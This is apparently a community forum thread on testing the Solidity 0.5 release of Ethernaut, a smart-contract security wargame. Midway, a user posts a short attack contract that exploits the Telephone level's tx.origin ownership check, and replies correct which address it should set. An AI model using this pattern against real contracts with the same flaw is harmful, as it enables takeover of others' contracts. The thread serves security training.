Ethernaut Solidity 0.5 Version - November 2019 update

Security Ethernaut
1

Hi Ethernauts,

Help needed to test Ethernaut Solidity 0.5

Solidity 0.5 version is now available: https://solidity-05.ethernaut.openzeppelin.com/

Help is needed in testing.

Reporting issues and creating Pull Requests (solidity-0.5 branch) to fix issues would be fantastic.

The following issues have been found so far:

A huge thank you to @paulinablaszk who upgraded all the smart contracts and tests to Solidity 0.5.

Thanks to @frangio who then made the site work with the upgraded contracts.

Once we have migrated to the Solidity 0.5 version we can then work on improving Ethernaut: Ethernaut mid August 2019 update

Tagging: @paulinablaszk, @obernardovieira, @frederickalcantara, @scammi, @ylv-io, @redragonx, @ianbrtt, @elopio, @fasteater plus any community members who want to get involved.

6 Likes
2

Oh great, congratulations @paulinablaszk.
I’ve been following the PR for a while. Great. I’ll give it try over the weekend :+1:

2 Likes
3

Thanks for the update and the good work. I’m repeating the challenges and I’ve already raised what I believe is an issue with level 10 advice on using transfer.

I will carry on with the challenges.

2 Likes
4

Hi @bergarces,

Thanks so much for creating the following issues that the advice needs updating:

Do you want to do a PR to update the text? Otherwise I will have a look later in the week.

5

Hi @abcoathup

This evening I’ll raise a couple of PRs. I’ll also report a couple more issues I found yesterday.

1 Like
6

Hi @bergarces,

Thank you. That is awesome.

7

Just some context - I shared this on the OpenZeppelin telegram group but was directed by Andrew to share this here instead. Not sure if this is the right place to do this but didn’t want to make a new thread.

TL;DR: Validation logic of level 4 (telephone) might be slightly wrong.

photo_2020-03-20_16-18-39
photo_2020-03-20_16-18-39889×1280 182 KB

Steps to reproduce error

  1. create new instance, take note of instance’s address
  2. deploy this contract with the address of the previously deployed contract.
pragma solidity ^0.6.0;
contract AttackTelephone {
    address public telephone;
    
    constructor(address _telephone) public {
        telephone = _telephone;
    }
    
    function changeBadOwner() public {
        bytes memory payload = abi.encodeWithSignature("changeOwner(address)", address(this));
        (bool success, ) = telephone.call(payload);
        require(success, "Transaction call using encodeWithSignature is successful");
    }
}
  1. call changeBadOwner
  2. try to submit instance
8

@STYJ, your changeBadOwner changes the owner to the contract instance address of AttackTelephone instead of player.

The validation logic in TelephoneFactory is correct. You just need to distinguish address(this) from tx.origin in changeBadOwner.

9

Hi Scott,

iirc, the goal of this level is to simply change the owner of the contract to another owner so it doesn't matter who I set owner to (whether it's player aka tx.origin or my AttackTelephone address).

your changeBadOwner changes the owner to the contract instance address of AttackTelephone instead of player .

I'm not quite sure I understand this. The logic in changeBadOwner changes the owner to the address that badOwner is pointing to no?

10

@STYJ, the Telephone level's mission statement is "Claim ownership of the contract below to complete this level"1.

So I think the validation code containing rqeuire instance.owner() == _player is reasonable2.

The logic in changeBadOwner changes the owner to the address that badOwner is pointing to no?

I meant that your AttackTelephone.changeBadOwner code should call Telephone.changeOwner with tx.origin instead of address(this). The former would be the address of _player while the latter would be the address of the AttackTelephone instance.

1 Like
11

Oh... I understand now. I thought you were referring to this which is why I was wondering why you talked about msg.sender and tx.origin. Got it! Thank you for clarifying :slight_smile: